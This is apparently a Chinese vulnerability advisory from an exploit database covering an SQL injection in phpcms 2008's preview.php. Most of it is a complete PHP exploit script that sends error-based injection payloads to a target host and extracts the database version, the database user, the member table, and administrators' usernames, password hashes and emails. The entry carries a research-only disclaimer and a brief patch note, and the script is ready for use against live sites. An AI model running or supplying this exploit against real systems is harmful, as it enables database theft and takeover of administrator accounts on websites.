phpcms 2008 /preview.php SQL注入漏洞

漏洞版本:

phpcms 2008

漏洞描述:

phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统，也是一个开源的 PHP 开发平台。

phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤，导致SQL注入漏洞。

<* 参考

http://www.wooyun.org/bugs/wooyun-2013-022112 
http://0day5.com/archives/985
http://sebug.net/appdir/phpcms

*>

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1. 可能使用的时候要更改一下User-Agent，否则注入不成功。
2. 注入前请先注册一个用户，把登陆后的cookie写入到cookie变量中。
3. <?php
4. /**
5. * Created by 独自等待
6. * Date: 13-11-24
7. * Time: 下午8:36
8. * Name: phpcms2008_preview.php
9. * 独自等待博客：http://www.waitalone.cn/
10. */
11. print_r('
12. +------------------------------------------------------+
13. PHPCMS2008 preview.php 注入EXP
14. Site：http://www.waitalone.cn/
15. Exploit BY： 独自等待
16. Time：2013-11-24
17. +------------------------------------------------------+
18. ');
19. if($argc <3){
20. print_r('
21. +------------------------------------------------------+
22. Useage: php '. $argv[0].' host path
23. Host: target server (ip/hostname)
24. Path: path of phpcms
25. Example: php '. $argv[0].' localhost /phpcms
26. +------------------------------------------------------+
27. ');
28. exit;
29. }
30. error_reporting(7);
31. //统计时间
32. $start_time = func_time();
33. $host = $argv[1];
34. $path = $argv[2];
35. $cookie ='';//请把会员cookie写入此变量中
36. if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
37. if(preg_match('/MySQL Query/i', send_pack("'"))){
38. //数据库版本
39. $db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
40. echo '数据库版本：'. get_info($db_ver)." ";
41. //数据库用户
42. $db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
43. echo '数据库用户：'. get_info($db_user)." ";
44. //获取用户表
45. $db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
46. $member = get_info($db_member);
47. //获取管理员数量
48. $db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
49. $ad_count = get_info($db_count);
50. echo '管理员表中共有--['. $ad_count .']--个管理员'." ";
51. //显示注入数据
52. foreach(range(0,($ad_count -1))as $i){
53. $ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
54. echo '管理员['.($i +1).']-->'. get_info($ad_pass)." ";
55. }
56. }else{
57. exit("报告大人，网站不存在此漏洞,你可以继续秒下一个! ");
58. }
60. //提取返回信息
61. function get_info($info)
62. {
63. preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
64. if(preg_match('/charset=utf-8/i', send_pack($info))){
65. return iconv('utf-8','gbk//IGNORE', $match_string[1]);
66. }else{
67. return $match_string[1];
68. }
69. }
71. //发送数据包函数
72. function send_pack($cmd)
73. {
74. global $host, $path, $cookie;
75. $data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1 ";
76. $data .="Host: ". $host ." ";
77. $data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 ";
78. $data .="Cookie:". $cookie ." ";
79. $data .="Connection: Close ";
80. //echo $data;
81. //这里一定要2个 否则将会一直等待并且不返回数据
82. $fp =@fsockopen($host,80, $errno, $errstr,30);
83. //echo ini_get('default_socket_timeout');//默认超时时间为60秒
84. if(!$fp){
85. echo $errno .'-->'. $errstr;
86. exit('Could not connect to: '. $host);
87. }else{
88. fwrite($fp, $data);
89. $back ='';
90. while(!feof($fp)){
91. $back .= fread($fp,1024);
92. }
93. fclose($fp);
94. }
95. return $back;
96. }
98. //时间统计函数
99. function func_time()
100. {
101. list($microsec, $sec)= explode(' ', microtime());
102. return $microsec + $sec;
103. }
105. echo '脚本执行时间：'. round((func_time()- $start_time),4).'秒。';
106. ?>

安全建议:

目前厂商暂无提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最 新版本：http://www.phpcms.cn